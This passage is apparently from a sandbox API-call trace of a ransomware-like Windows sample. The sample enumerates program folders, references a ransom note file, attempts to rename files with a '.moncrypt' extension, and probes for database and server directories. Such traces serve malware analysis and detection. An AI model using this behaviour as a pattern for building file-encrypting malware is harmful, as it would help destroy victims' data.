GlobalUnlock (hMem=0x440004) returned 0 [0058.761] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.761] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.761] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.761] GlobalUnlock (hMem=0x440004) returned 0 [0058.761] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.761] GlobalUnlock (hMem=0x44000c) returned 0 [0058.761] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.761] CharLowerBuffW (in: lpsz="videowall.png", cchLength=0xd | out: lpsz="videowall.png") returned 0xd [0058.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.761] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png", cchWideChar=67, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png", lpUsedDefaultChar=0x0) returned 67 [0058.762] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\VideoWall\\videowall.png", lpUsedDefaultChar=0x0) returned 4 [0058.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 0x54e280 [0058.762] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.762] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.762] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.762] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png", dwFileAttributes=0x20) returned 0 [0058.763] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.763] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png.moncrypt")) returned 0 [0058.763] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 0 [0058.763] GetLastError () returned 0x12 [0058.763] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.764] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.764] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.764] GlobalUnlock (hMem=0x44000c) returned 0 [0058.764] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.764] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.764] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.764] GlobalUnlock (hMem=0x44000c) returned 0 [0058.764] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.764] GlobalUnlock (hMem=0x440004) returned 0 [0058.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x443672c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x443672c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.764] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.764] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.764] GlobalLock (hMem=0x440004) returned 0x550170 [0058.764] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.764] GlobalUnlock (hMem=0x440004) returned 0 [0058.764] GlobalLock (hMem=0x440004) returned 0x550170 [0058.764] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.764] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.764] GlobalUnlock (hMem=0x440004) returned 0 [0058.764] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.764] GlobalUnlock (hMem=0x44000c) returned 0 [0058.764] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.764] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x443672c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x443672c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.765] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.765] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.765] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.765] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.765] GlobalUnlock (hMem=0x44000c) returned 0 [0058.765] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.765] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.765] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.765] GlobalUnlock (hMem=0x44000c) returned 0 [0058.765] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.765] GlobalUnlock (hMem=0x440004) returned 0 [0058.765] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.765] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0058.765] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.765] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.765] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.765] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.765] GlobalUnlock (hMem=0x440004) returned 0 [0058.765] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.765] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.765] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.765] GlobalUnlock (hMem=0x440004) returned 0 [0058.765] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.765] GlobalUnlock (hMem=0x44000c) returned 0 [0058.765] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.765] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 1 [0058.765] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.765] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.766] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.766] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.766] GlobalUnlock (hMem=0x44000c) returned 0 [0058.766] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.766] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.766] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.766] GlobalUnlock (hMem=0x44000c) returned 0 [0058.766] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.766] GlobalUnlock (hMem=0x440004) returned 0 [0058.766] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.766] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 0 [0058.766] GetLastError () returned 0x12 [0058.766] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.766] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0058.766] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.766] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.766] GlobalLock (hMem=0x440004) returned 0x550170 [0058.766] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.767] GlobalUnlock (hMem=0x440004) returned 0 [0058.767] GlobalLock (hMem=0x440004) returned 0x550170 [0058.767] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.767] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.767] GlobalUnlock (hMem=0x440004) returned 0 [0058.767] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.767] GlobalUnlock (hMem=0x44000c) returned 0 [0058.767] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.767] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.767] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.767] GlobalUnlock (hMem=0x44000c) returned 0 [0058.767] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.767] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.767] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.767] GlobalUnlock (hMem=0x44000c) returned 0 [0058.767] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.767] GlobalUnlock (hMem=0x440004) returned 0 [0058.767] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.767] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette", len=0x34 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette") returned 1 [0058.767] GlobalLock (hMem=0x440004) returned 0x550170 [0058.768] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.768] GlobalUnlock (hMem=0x440004) returned 0 [0058.768] GlobalLock (hMem=0x440004) returned 0x550170 [0058.768] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.768] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.768] GlobalUnlock (hMem=0x440004) returned 0 [0058.768] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.768] GlobalUnlock (hMem=0x44000c) returned 0 [0058.768] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@妲U妆U企@\x18䄌Q\x18\x1b")) returned 0xffffffff [0058.770] GetLastError () returned 0x3 [0058.770] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0058.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0058.771] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@夜U企@\x18䃄Q\x181")) returned 0xffffffff [0058.772] GetLastError () returned 0x2 [0058.772] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0058.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0058.773] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@ꐬR企@\x18?T\x18;")) returned 0xffffffff [0058.774] GetLastError () returned 0x2 [0058.774] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0058.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 8 [0058.774] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@阜R企@\x18?T\x18D")) returned 0xffffffff [0058.776] GetLastError () returned 0x2 [0058.776] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.776] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0058.776] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\眵?\x18") returned 37 [0058.776] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@夜U企@\x18ꐬR\x18j")) returned 0xffffffff [0058.778] GetLastError () returned 0x2 [0058.778] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ae8, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0058.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\眵?\x18") returned 6 [0058.778] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@阜R企@\x18?T\x18q")) returned 0xffffffff [0058.779] GetLastError () returned 0x2 [0058.780] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.780] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\ꐨRP") returned 6 [0058.780] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\眵?\x18") returned 7 [0058.780] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\Oracle", lpFindFileData=0x18e840 | out: 